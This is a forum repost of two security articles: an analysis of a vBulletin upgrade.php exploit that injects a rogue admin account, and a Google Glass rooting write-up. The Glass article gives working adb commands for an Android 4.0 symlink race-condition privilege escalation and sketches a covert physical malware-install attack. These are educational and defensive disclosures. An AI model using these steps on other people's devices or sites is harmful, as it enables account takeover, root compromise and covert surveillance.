    vBulletin is a popular proprietary CMS that was recently reported to be vulnerable to an unspecified attack vector. vBulletin is currently positioned 4th in the list of installed CMS sites on the Internet. Hence, the threat potential is huge. Although vBulletin has not disclosed the root cause of the vulnerability or its impact, we determined the attacker’s methods. The identified vulnerability allows an attacker to abuse the vBulletin configuration mechanism in order to create a secondary administrative account. Once the attacker creates the account, they will have full control over the exploited vBulletin application, and subsequently the supported site. Initial analysis Although vBulletin has not disclosed the root cause of the vulnerability or the impact on customers, they did provide a workaround in a blog post encouraging customers to delete the /install, /core/install in vBulleting 4.x and 5.x respectively. Additionally, on vBulletin internal forums a victimized user shared his server’s Apache log, providing some visibility into the attacker’s procedure: This log indicates that the attacker continuously scans, using “GET” requests, for the “/install/upgrade.php” vulnerable resource. Once successful , indicated by the “200”response code, as opposed to “404” response code for non-existing resources, the attacker issues a “POST” request to the same resource with the attack payload. Since the Apache logger does not log the parameters of POST requests, the details of the attack are not yet revealed. Once we had access to some concrete technical details on the vulnerability, we were able to effectively scan hacker forums in search of an exploit code. Soon after, we found PHP code that implements the attack. Next, we carefully installed the code in our lab. The interface clearly states the goal of the attack: injecting a new admin. In order to exploit the vulnerability and inject a new Admin user, the attacker needs to provide the following details: The vulnerable vBulletin upgrade.php exact URL The customer ID. To get these details, the attackers created an additional auxiliary PHP script. The script scans a site for the vulnerable path, exactly as shown above in the reported Apache log, and extracts the customer ID from the vulnerable upgrade.php page, as it’s embedded within the page’s source code. Consequently, the attacker now knows both the vBulletin’s upgarde.php vulnerable URL and the customer ID. With this information, the attack can be launched. Here is an example of the POST request with the attack payload (the red fields match to the information the attacker needed to enter in the PHP interface above). The result of the attack was exactly what the exploit package described. A new admin user was created (“eviladmin”) that is under the control of the attacker. The site has been successfully compromised. Recommendations: vBulletin has advised its customers to delete /install and /core/install directories in versions 4.x and 5.x respectively. For vBulletin users not able to delete these directories – it is advised to block access or redirect requests that hit upgrade.php through via either a WAF, or via web server access configuration. Source: Dangerous vBulletin exploit in the wild
  25. sicilianul
    A few days ago, I posted to Twitter a picture I took of a Google Glass unit running software that I had modified. I did this while in the Bay Area after picking it up from Google's headquarters in Mountain View. I was unable to provide many more details at the time, as I first was busy driving home, and then became caught up responding to a large amount of feedback caused by press surrounding my picture. My motivation for posting that picture was, in my mind, fairly simple: I have a large audience of users who are interested in device customization, particularly stemming from the idea of modifying the code of popular consumer devices (such as the iPhone). Some developers I work with had posted the night before that I was looking at Glass, and my post was an update on what I had done. The context for many reporters who saw what I posted was somewhat different, due to statements made by the Executive Chairman of Google the day before that Glass would be a relatively closed platform for developers. In contrast, engineers, developer advocates, and technical leads at Google have been trying to make it clear that Glass is designed to be an open platform. The result was difficult to navigate. In this article, I describe what I did, why I did it the way that I did it, and how people who own their own Glass can do the same thing. In the process, I explain the mechanism behind a security exploit in Android 4.0 that had been disclosed last September (this is the bug I used to modify Glass, not fastboot). Finally, I take a look at some important considerations on the security of this device that I find quite concerning. What is Google Glass? Glass is a new first-party hardware product designed by Google. It is a head-mounted computer that sits on your face very similarly to a pair of glasses (resting on your ears and your nose). It has a camera, a display, a touchpad (along the right arm), a speaker, and a microphone. The display is projected into your right eye using a prism, and sound is played into your eardrum from above your ear via bone conduction. While Glass looks very different from any other device, it runs an operating system that is now very common: Android. That said, it isn't quite the same as the Android that you see on phones and tablets: many of the higher-level applications are not present and have been replaced with the Glass UI (which is controlled by voice and gestures). (This is analogous to how the AppleTV runs a modified UI on top of iOS.) Glass costs $1500, but is not yet generally available. Currently, Glass is only available to a limited number of "early adopters" as part of something they call the "Glass Explorer Program". The device currently being sold is the "Glass Explorer Edition"; one would expect that Google will learn from peoples' reactions to it and make modifications for the final units put into general release. How did you get your hands on one? Recently, Google ran a contest on Twitter where people were asked to post messages using the hashtag #ifihadglass that had a cool idea for what they could do if they were given a device (winners were not just given a device, though: they still had to pay $1500, which according to an article published by Android and Me, many did not realize). (Sadly, as described in a post on Forbes, not all entries were very pleasant.) While my post on Twitter from a few days ago used the #ifihadglass hashtag (making a joke that "#ifihadglass I would jailbreak it and modify the software"), I had not ever actually entered this contest. I explain this, because at least a few people on Saturday thought that by posting that message (or by modifying the software on the device at all) I was violating the purpose and spirit of the competition. Instead, at Google I/O 2012, Google was allowing any attendee to "pre-order" one. While they couldn't accept your money that far in advance (a restriction enforced by credit card companies), attendees of the conference who signed up would be given the opportunity to buy one (for $1500) whenever it first became available, something Google expected to happen sometime in the next year (before I/O 2013). The one restriction was that you had to have a "business purpose", as they did not have the required FCC licenses in order to distribute the product to "consumers". They were not requiring you to use it for development, and I made it clear to them at the time that I did not intend to develop for the device normally. My business (SaurikIT) builds tools to modify software, and I'm always looking for more test devices. Can developers write apps for it? Yes: Google provides an official way to develop software for use with Glass (which they call "Glassware"): the "Mirror API". Unlike with other mobile devices (such as Android phones and tablets, or devices from Apple running iOS), software for Glass is not run on the device itself: instead, the developer is given access to a web-based API that allows them to integrate over the Internet with the user's Glass. Further, Eric Schmidt, the Executive Chairman of Google, as reported on Thursday in a release by Reuters, stated in a talk at Harvard that Google was intending to have a closed software ecosystem for Glass, where Google will have to pre-approve all software offered to users by developers. "It's so new, we decided to be more cautious," Schmidt said. "It's always easier to open it up more in the future." Looking back, two weeks ago Google released guidelines for developers of Glassware, which an article from the New York Times goes so far as to say "emulates Apple in restricting apps". "To begin, developers cannot sell ads in apps, collect user data for ads, share data with ad companies or distribute apps elsewhere. They cannot charge people to buy apps or virtual goods or services within them." It is this context that must then be kept in mind when reading the numerous articles that hit the press on Friday regarding my demonstration of a Glass running modified software: if you were wondering why the press ran so far and so hard, turning it into what seemed like a major story, it is because just the day before it had come straight from the top of Google that Glass would not be an open platform. Now, that said, Google generally likes open hardware, and it seems to me like Glass will not be an exception: at least the units currently being distributed as part of the early-access program have features (such as "Debug Mode") that demonstrate they are intended to be relatively-open devices. This was made clear by me to reporters I spoke with, and frankly the stories largely (but not entirely) got this right. What is the "Debug Mode" feature? So, when I picked up my unit, there were two "Glass Guides" who walked me through its use. At one point, they asked me to open Settings and select Bluetooth, so we could pair it with my iPhone. While there, I became curious about the "Device Information" menu, under which I found a setting "Debug Mode". The option had the Android logo next to it, and could be turned "on" and "off" (it was off). I asked the primary guide what it did (specifically asking whether it would give me access to the device via adb, the Android Debugging tool), and she told me that she wasn't certain; I believe she said that she hadn't seen that option before (although I don't quite remember; she may have just not known what adb was). I turned the feature on (of course), which seemed to make her somewhat uncomfortable. The second guide was slightly more technical, so when he returned a little later I asked him about the Debug Mode option. The reaction was interesting: he kind of looked at me, somewhat confused, and asked "wait, what version of the software does it report in Settings"? When I told him "XE4" he clarified "XE4, not XE3", which I verified. He had thought this feature had been removed from the production units. After a quick explanation that he must have not paid enough attention to the release notes, he told me that with Debug Mode enabled you could use a three-finger tap on the control area to file a bug report with the Glass team (while doing so, he demonstrated the action, which had a humorous result of him accidentally sending a bug report himself, which he then seemed somewhat abashed about). In fact, the Debug Mode option is the equivalent of the typical Android "Enable USB Debugging" option: it allows you to connect to the device over USB via adb. This tool allows you to manage the applications installed on the device, watch a detailed log of events occurring on the device, and get access to a shell (much like the Command Prompt on Windows, or even more closely, Terminal on Mac OS X). Some people stated that adb allows one to get full access to the device, particularly due to a few articles that mentioned a command "adb reboot-bootloader". In fact, adb itself is fairly restricted. What that command does is reboot the unit; when it boots back up, it starts into a special mode known as "fastboot". (On most Android devices, this is accomplished by holding down some buttons during boot.) What is fastboot (and "oem unlock")? The first piece of software that runs on devices like this is the "bootloader", a fairly small piece of software stored directly inside the device that has the job of loading the operating system that will be used and starting it. The default bootloader for Android provided by Google is called "fastboot". Some devices provide their own alternative bootloader; some of those support fastboot as a second option. When you boot in the fastboot mode, rather than continuing into the operating system, fastboot stops and makes itself available over USB. You can control the bootloader using a program provided by Google that is also called "fastboot". This allows low-level device access. (For people reading this from my iOS audience, it is reasonable to think of fastboot as the functional equivalent of "DFU mode".) One of the commands available via fastboot is "oem", which allows manufacturers to provide custom commands; everything after "fastboot oem" is sent to the device without modification. By default, fastboot is "locked", and only a subset of the available commands can be used. Some devices provide oem commands that will unlock the bootloader (possibly requiring a password or other secret data). The most common command to unlock the bootloader is simply "unlock". On most devices that provide this command, a menu will be displayed that explains that by unlocking the bootloader your warranty will be voided, and that it is disrecommended by the manufacturer. It also has a side effect: it will delete all of your personal data stored on the device (I mention this in more detail later, and explain why). In order to enforce that your warranty has been voided (as well as to make it more clear to the user that something has changed), devices that have unlocked bootloaders will also generally display some kind of image making this clear as the device boots. I like to call this image the "unlock of shame". I am not certain whether Glass has such an image, but I would presume it to be similar to other devices. Once the bootloader is unlocked, you can use it to get full access to the device, in particular using "fastboot flash" to install different or modified operating systems. In a way, having access to an unlocked bootloader is the be-all-and-end-all of power. The things I wanted to accomplish require access to the "root" (administrator) account on the device, and fastboot is powerful enough to make that happen. However, I did not use fastboot; in fact, the bootloader on my device is still locked (and I would prefer not having to unlock it, for reasons more complex than "it would delete all of my data", which I also discuss in more detail later). Regardless, the truth of the matter is that while fastboot technically allows you to get root on Glass, as of Thursday night it was not an easy or viable option for various reasons. Why didn't you just use fastboot? In order to get much value out of fastboot, you need to have an operating system "image" you can ask it to either store for later use or immediately boot. This image is similar to a bootable CD that you might place in your computer: it is a self-contained operating system. In the case of Linux, this will be a "kernel" (which includes any required device drivers) and, embedded inside of it, a filesystem. In order to make one of these, you need a kernel that is compatible with the device. By far the easiest way to get a working kernel is to just dump one from a working device. However, fastboot actually doesn't provide this as a feature: you have to do it after the device has already booted, and this requires you to already have root access. In essence, this is a catch-22 situation: we need root to get root. Sometimes the manufacturer of a device provides a set of "stock images" (which is really convenient if you accidentally mess up your device: you can then easily restore it to a pristine from-the-manufacturer state via fastboot). This isn't common enough, but Google normally does release stock images for all of their Google-branded devices; they have not, however, done it for Glass. They may very well do so later on. The other option is to construct our own kernel: Linux is open source, so anyone can, without that much difficulty, compile their own from scratch. However, you need to know what kinds of hardware components (both obvious things such as the kind of CPU, as well as subtle things like the model of the network card) the device is built out of, along with any other hardware-specific configuration information. What kept you from building a kernel? The easiest way to get this required information is to ask your device to provide it for you: Linux provides a way for the full configuration to be included in an easy-to-find manner (a virtual file, /proc/config.gz). Google, however, disabled this feature on Glass, so the fact that we have access to the device via adb is unhelpful for this purpose. Alternatively, one can get this information from the manufacturer. It is actually a requirement that the manufacturer of a device using the Linux kernel provide this information (along with the full source code for the kernel, as modifications may have been made), but Google had not yet done this as of Friday morning (when I posted the picture of a modified Glass). It was not posted until Saturday (after which point many people didn't realize the delay). This is actually quite common, and honestly I do not begrudge them at all for the delay: Apple is much worse about compliance, and only in a couple cases have I ever felt the need to complain. In this case, according to someone from Google in charge of "open source compliance": "The GPL source should have been posted already (13 days ago, in fact), but it looks like the person who was to do it went on vacation first." Of course, we could always attempt to guess-and-check our way to a compatible kernel, but this is hard and somewhat risky. I asked Koushik Dutta, the developer of ClockworkMod (a very popular recovery image used on rooted Android devices) if he had any tips on how to proceed in this situation; he said he "definitely wouldn't want to try to hack and slash at putting a kernel together for some random device". Many people were rather confused by this (including a technical lead at Google who wrote "we intentionally left the device unlocked so you guys could hack it and do crazy fun shit with it. I mean, FFS, you paid $1500 for it... go to town on it"): the source code is supposed to be available, and so an unlocked bootloader should be sufficient. In this situation, however, it simply wasn't practical to use this to get root. How did you actually get root access? At this point, I could have simply complained to Google in order to obtain the source code for the kernel. However, I expected that would take days (Google actually ended up posting the code within hours on Saturday, but that was under rather large public pressure), and had no guarantee of even being successful (I am not certain the GPL applies to restricted releases; Glass isn't really publicly available yet; IANAL <- edit: a "Licensing & Compliance Manager" from the FSF reached out to me to clarify that "yes, the terms of the GNU GPL still apply"). To be very explicit: I was not bothered by this, nor did I complain about it on Twitter; if anything, I found it to be an interesting challenge. I like hacking on devices, and despite having an unlockable bootloader, it turns out that Glass posed a challenge to get the access required to modify its software. (Besides, as described in more detail later, I generally prefer to not unlock my bootloader.) So, I decided I'd look to see if any known exploits would work on the device: Android devices tend to not get updates very quickly and often come from the manufacturer running an old version of the operating system. This has allowed many devices that might otherwise be locked down to get hacked: universal exploits that work on every device running particular versions of Android have been surprisingly common. Last August, I actually had implemented an exploit for Android (mempodroid, using the mempodipper exploit described by Jason A. Donenfeld, attacking a bug discovered by Jüri Aedla). Sadly, it was fixed in Android 4.0.3 (Glass runs 4.0.4). Thankfully, a Google search for "Android 4.0 root" turned up an article published by The Next Web from September about an exploit that affected all versions of Android 4.0.x. This exploit, which doesn't have a name (and so will be referred to indirectly), was developed by a hacker named Bin4ry. It isn't clear that it is "his exploit", though: he credits the idea to "Goroh_kun and tkymgr". It is Bin4ry's implementation, however, which I downloaded and analyzed: I needed to figure out how this exploit worked, to see if it would work on Glass, and if not to adapt it until it would. How does this exploit work? The way it works is, humorously to me, somewhat similar to one of the first stages of the evasi0n exploit used to jailbreak iOS 6: it involves something called a "symlink traversal" that can be triggered while restoring a backup to the device. In the case of evasi0n, you constructed, modified, and restored multiple backups, one to setup the symlink, and the second to do the traversal: here, we rely on a "race condition". So, on Android, you can use adb to take a backup of the personal data associated with any installed package, and then later restore that data. When you restore the data, it first deletes all of the personal data that is already there, and then it extracts the data that is stored in the backup. The backup itself is a compressed "tar" file (conceptually similar to a zip file, for people who haven't heard of tar). To explain, a "symlink" (short for "symbolic link") is a special kind of file that isn't really a file at all: it is like a sign post that tells the computer to go use a different file instead. If you have a directory or folder that is a symlink to a different one, when you go into that folder you will end up in the one that it refers to. If the backup is then extracted on top of a symlink, the files will end up in the wrong place. We can't place this symlink ahead of time, because the first step is to delete the old data. We also can't place it into the backup itself (as is done with evasi0n) because even though that is possible in a tar file, the restore system on Android doesn't know what to do when it finds that special kind of file in the backup data. We thereby need to drop the symlink while the restore process is taking place. We call this a "race condition", because we now have two activities that are racing to the same place, and depending on which one gets there first (the restore process, or our attempt to place the symlink), we may get either intended or problematic behavior. To make the timing more deterministic (ensuring we always win), we make the backup "very large", slowing down the process of the restore, giving us more time. The file we try to overwrite with our backup is /data/local.prop, which is stored on a part of the device that can be modified, but only if you are root. Inside this file, the goal is to place "ro.kernel.qemu=1", which will make the operating system believe that it is running not on real hardware, but instead on the emulator shipped by Google for developers to test their apps more easily (a program called "qemu"). To make this work, we need to find a package that both allows its data to be restored from a backup (packages can opt out) as well as is owned by root (so that the backup is extracted as root, which is required in order to write to /data/local.prop). On most Android devices, the Settings application fits the bill. On Glass, there is no Settings, but we got lucky: the Glass Logging service satisfies both criteria. If you do not own Glass, or are not interested in the technical howto, I encourage you to skip the following section and continue below. How can I use this exploit myself? This exploit is simple enough that you can pull it off with just a couple files, and without any specialized tooling. In order to proceed, you need only have the Android SDK (which comes with a copy of the adb utility) installed on your computer, and two files from me: exploit.ab (the exploit payload for use with adb restore) and su. As this process involves doing a restore of the personal data stored for the Glass Logging service, we must first do a backup of any data that we already have stored for it (as it will be deleted). We do this using adb's backup command, to which we will pass the name of a file to store the backed up data and the name of the package which we want to back up. In this case, that is "com.google.glass.logging". $ adb backup -f backup.ab com.google.glass.logging When we run this command, Glass will show a dialog (through the prism, so make certain you are wearing your device) verifying that we want to make this backup and asking if we would like the backup to be password protected. In this case, you should just use your Glass's touchpad to scroll to "Back up my data", and select it (by tapping). The command on your computer will then complete. Our next step is to set up the race condition. As part of this exploit payload, a folder will be created in the data area for the Glass Logging service in which anyone, even the otherwise-restricted adb shell, will be able to create new files. We will run a command in the adb shell that will attempt to create the symlink, repeating over and over until it succeeds as the folder is created. $ adb shell "while ! ln -s /data/local.prop \ /data/data/com.google.glass.logging/a/file99 \ 2>/dev/null; do :; done" While that is running (so leave that alone and open a new window) we now need to start the restore process of our modified backup payload. We do this using adb restore. This command (which will exit immediately) will cause another dialog to appear on the display of Glass, so make certain you are still wearing your unit: you will need to scroll to and select the "Restore my data" option. $ adb restore exploit.ab After a few seconds, the previous command (the one attempting to place the symlink) should have completed. (As the timing on this is fairly deterministic, we can feel rather confident that it "worked", but if you want to make certain before proceeding, you should verify that /data/local.prop has now been placed on your device. If not, delete /data/data/com.google.glass.logging/a and try again.) Before we proceed, we should restore the backup we had made of the previous contents of the Glass Logging daemon. This not only cleans up any mess we left (such as the 50MB of backed up files that we extracted as part of the restore), but also will put back the previous (potentially important) personal data for this system service. You will again need to approve this from the device. $ adb restore backup.ab At this point you should reboot your Glass. When it comes back up, there may be some errors displayed regarding the Bluetooth system having crashed or otherwise failed: this is because the emulator (which Glass now believes itself to be running inside of) does not support these features. We thereby need to copy our su binary to the device, make it privileged, undo our hack, and reboot. $ adb reboot $ adb shell "mount -o remount,rw /system" $ adb push su /system/xbin $ adb shell "chmod 6755 /system/xbin/su" $ adb shell "rm /data/local.prop" $ adb reboot Now, when your device reboots, you should no longer get any errors. Your adb shell will also now be restricted as it was before, as the device no longer has our modified properties file. However, as we have installed "su" and marked it with the right privileges, you will be able to get root access whenever you need via adb. You can now install more complex su utilities, and have some fun. If you do not own Glass, or were not interested in the technical details of using this exploit, you should continue reading at this point. Should I now go unlock my bootloader? This is up to you; many people would say "sure, that's what it is there for", but my recommendation is actually to avoid unlocking your bootloader unless you are left with no easy alternatives. You certainly do not need to unlock your bootloader right now: you already have root access. You can always unlock the bootloader if you ever decide you need or want to: you don't have to make this decision right now. As mentioned earlier, in the process it is going to delete all of the data on your device, which might be irritating (you will lose your timeline, and have to reconfigure everything). The device also displays its status (locked, unlocked, or on some devices "re-locked"), allowing the manufacturer to easily deny warranty service to your device. Finally, I'm going to argue you will want to re-lock it anyway. The process of re-locking your device is similar to unlocking it: "fastboot oem lock", and the device is immediately "re-locked". On some devices (not the Nexus 4 I tested), this state is separate from "locked", allowing the manufacturer to know it was previously unlocked. With a re-locked bootloader, you can keep running your modified software, but you cannot use fastboot to modify it again without re-unlocking. The reason you would want to do this is that while your device has an unlocked bootloader, you have no way to be confident that your operating system hasn't been modified by someone while outside of your control. This is because anyone can, after booting your bootloader-unlocked Android device into fastboot, boot or flash any custom image they want. It doesn't matter how secure the operating system is: fastboot is accessible. You might think you would notice if someone installed a different version of Android to your device, but the attacker needs only modify your existing software: they can access the device's filesystem and install a slightly modified version of any of the software that you might use. On many Android devices there are security mechanisms to guard your private data, but the system software is left unencrypted and can be modified. Why do you consider that a problem? This means that if you leave your device in someone else's hands, and it has an unlocked bootloader, with just a minute alone they can access anything you have stored on it. While on most Android devices there is a PIN code that protects your personal data (encrypting it, as of Android 4.0), it doesn't take long to programmatically try every possible PIN code (on iOS, the four-digit code takes ten minutes to crack). That said, getting ten minutes alone with your device might be more difficult than getting just a minute. Sadly, they don't actually need all that time: all they need to do is modify your device to automatically upload all of your contacts to a server the next time you pick it up and start using it. They can even leave software that allows them to remotely access it at any time, getting your location or even taking pictures. (One way of looking at this, for readers that have a background in iOS attacks, is that unlocking your bootloader using "fastboot oem unlock" can be thought of as opening up an exploitable bug in your bootrom; the things you can do to a device that has had its bootloader unlocked are comparable to the things you can do to an iOS device susceptible to the limera1n bootrom exploit, such as an iPhone 4.) The way you are normally protected from this is that, in order to use fastboot to steal your data, the bootloader must be unlocked, and the process of unlocking the bootloader deletes all of your data. (So, if you were wondering earlier why that feature requires you to delete all of your data, this is why: it is to protect you from malicious people unlocking your device, booting a custom image, and brute-forcing your PIN.) The result is that when you get your device back (which might be as simple as returning from the bathroom after leaving it on the table at dinner), it will be painfully obvious it has been modified: all your data will be gone, and when you boot the device it will show the "unlock of shame". It kind of sucks that it is so easy for someone to so easily delete your data and void your warranty over USB, but at least you noticed. OK, and if I don't do that, I'm safe? Sadly, due to the way Glass is currently designed, it is particularly susceptible to the kinds of security issues that tend to plague Android devices. The one saving grace of Android's track record on security is that most of the bugs people find in it cannot be exploited while the device is PIN-code locked. Google's Glass, however, does not have any kind of PIN mechanism: when you turn it on, it is immediately usable. Even if you wear Glass constantly, you are unlikely to either sleep or shower while wearing it; most people, of course, probably will not wear it constantly: it is likely to be left alone for long periods of time. If you leave it somewhere where someone else can get it, it is easy to put the device into Debug Mode using the Settings panel and then use adb access to launch into a security exploit to get root. The person doing this does not even need to be left alone with the device: it would not be difficult to use another Android device in your pocket to launch the attack (rather than a full computer). A USB "On-The-Go" cable could connect from your pocket under your shirt to your right sleeve. With only some momentary sleight-of-hand, one could "try on" your Glass, and install malicious software in the process. You might think that security exploits are rare, but most versions of Android have been subject to these kinds of attacks; again, these are often seen to be somewhat low-priority because most require the device's PIN code to be entered (manually by hand, not via computer, so cracking the code is not an option). In fact, as we have seen, Glass even managed to ship with a security bug in it that was known eight months ago. What can someone do via my Glass? Once the attacker has root on your Glass, they have much more power than if they had access to your phone or even your computer: they have control over a camera and a microphone that are attached to your head. A bugged Glass doesn't just watch your every move: it watches everything you are looking at (intentionally or furtively) and hears everything you do. The only thing it doesn't know are your thoughts. The obvious problem, of course, is that you might be using it in fairly private situations. Yesterday, Robert Scoble demonstrated on his Google+ feed that it survived being in the shower with him. Thankfully (for him, and possibly for us), this extreme dedication to around-the-clock usage of Glass also protects him from malicious attacks: good luck getting even a minute alone with his hardware ;P. However, a more subtle issue is that, in a way, it also hacks into every device you interact with. It knows all your passwords, for example, as it can watch you type them. It even manages to monitor your usage of otherwise safe, old-fashioned technology: it watches you enter door codes, it takes pictures of your keys, and it records what you write using a pen and paper. Nothing is safe once your Glass has been hacked. What should Google do about this? For starters, they should have some kind of protection on your Glass that activates when you take it off. If the detector along the inside of the device is a camera (I am not certain whether it is a camera or a light sensor), it might be possible to use some kind of eye-based biometric. Another option is a voiceprint. Otherwise, a simple PIN code would suffice: the user could enter it using the touchpad when they put it on. Secondly, they should provide some way for the user to feel confident in a given situation that the device could not possibly be recording: a really great suggestion that a friend of mine had is that the camera could have a little sliding plastic shield. (This also addresses the privacy concerns many have about a future where large numbers of people have Glass: this makes it clear "I'm not recording right now".) Finally, they should be a little more careful while discussing these issues with the community. In response to one of the articles written about my post, a Google engineer (who claims to have not read the article and was making a "joke" based only on the title) stated "This is not rooting. Nothing is rooted. There is no root here! This is 'fastboot oem unlock'.", which accidentally derailed the conversation. As an example, in an article published by Ars Technica, the situation had gotten so confused by such statements from Google employees (which included comments like "Yes, Glass is hackable. Duh.") that Ars ended up reporting that "there's been some debate over whether developers actually gained root access to the devices or simply took advantage of a 'fastboot OEM unlock' that Google itself provided". As long as engineers, advocates, and officers from Google make statements like these without carefully looking into the facts first, it will not be possible to have any kind of reasonable and informed discussion about this system. The doors that Google is attempting to open with Glass are simply too large, and the effects too wide-reaching, for these kinds of off-the-cuff statements to be allowed to dominate the discussion. Source: Exploiting a Bug in Google's Glass - Jay Freeman (saurik) Pareri personale: Sa va mai zic ca cei de la Google mai au cateva probleme de rezolvat la acesti ochelari si vor sa dea drumu la productia in masa? Incepem usor usor cumva sa ne "robotizam" si sa fim oarecum monitorizati ? Cam mult cu facebook zic unii, dar cu asta ce vor mai zice ?
×
×
  • Create New...